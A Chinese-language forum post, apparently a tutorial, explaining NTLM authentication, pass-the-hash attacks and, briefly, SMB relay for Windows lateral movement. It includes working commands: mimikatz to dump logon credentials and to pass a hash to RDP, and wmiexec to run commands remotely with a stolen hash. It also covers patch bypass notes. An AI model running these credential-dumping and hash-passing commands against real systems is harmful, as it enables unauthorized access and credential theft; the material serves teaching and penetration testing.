深入理解NTLM-SMB Relay和PTH攻击:原理与复现

图片[1]-深入理解NTLM-SMB Relay和PTH攻击:原理与复现-山海云端论坛

前言

在Windows横向渗透中,我们常见的两种方式是:

  1. HASH传递攻击(PTH),通过传递NTLM-Hash登录机器。
  2. TICKET传递攻击(PTT),通过传递Kerberos的ticket登录机器。

本文着重讨论NTLM协议和PTH攻击。

简介

NTLM网络认证基于挑战/响应认证机制,包括三种消息:协商、质询和验证。

  1. 协商: 确认双方协议版本(NTLM v1/NTLM V2)。
  2. 质询: 挑战/响应认证机制生效的部分。
  3. 验证: 在质询完成后验证结果,是认证的最后一步。

认证过程

认证过程包括协商、质询和验证:

  1. 客户端发送Type1消息,包含客户端请求和服务器支持的功能列表,协商具体使用哪种认证协议。
  2. 服务器收到Type1消息后,与客户端确认认证协议,并用Type2消息进行响应,包含随机生成的challenge。
  3. 客户端收到服务器的challenge后,使用用户的NTLM Hash对challenge进行加密得到response,并发送给服务器。
  4. 服务器用用户的NTLM Hash对challenge进行加密,将结果与客户端发送的response进行对比,验证通过则允许访问。
图片[2]-深入理解NTLM-SMB Relay和PTH攻击:原理与复现-山海云端论坛

PTH攻击

利用前提是:获取目标主机管理员的NTLM Hash或密码相同。对于早于2012R2版本且未打补丁KB2871997的系统适用。

原理: 伪造客户端,与正常的NTLM认证一样,但将用户名对应的NTLM Hash传递到其他主机,生成Response完成认证。

流程示例

使用mimikatz

<code># 抓取本机hash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # 构造登录其他机器 privilege::debug sekurlsa::pth /user:administrator /domain:192.168.50.131 /ntlm:b0884d20d6797ca8da9e5b2630fed6c6 "/run:mstsc.exe /restrictedadmin"</code>

使用wmiexec

<code>wmiexec.exe -hashes :b0884d20d6797ca8da9e5b2630fed6c6 ./administrator@192.168.52.129 "ipconfig"</code>

脚本批量

使用Invoke-TheHash脚本进行批量操作。

补丁绕过: 对于KB2871997补丁,SID为500的Admintrator用户仍可进行哈希传递或使用AES-256进行哈希传递。

NET-NTLM Hash

Net-NTLM Hash与NTLM Hash不同,但可用于中继攻击。通过截获客户端与服务器认证过程中的Net-NTLM Hash,可进行明文爆破或中继攻击。

实战中的应用

考虑情景:无法获取明文密码但需获取某台主机权限。无法破解密码时,可尝试使用PTH或NTLM中继攻击。

实验环境: WinServer2019(内网主机)、Win7(边界主机双网卡)。

解决方案:

  • 利用其他工具进行PTH(如wmiexec)。
  • 使用SocksCap64或Proxifier指定进程代理RDP。

注意: NTLM中继攻击前需确保目标主机未开启SMB签名。

结语

深入了解NTLM网络认证和PTH攻击对于网络安全至关重要,合理应用于实战场景中能够提高攻击效率与成功率。

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容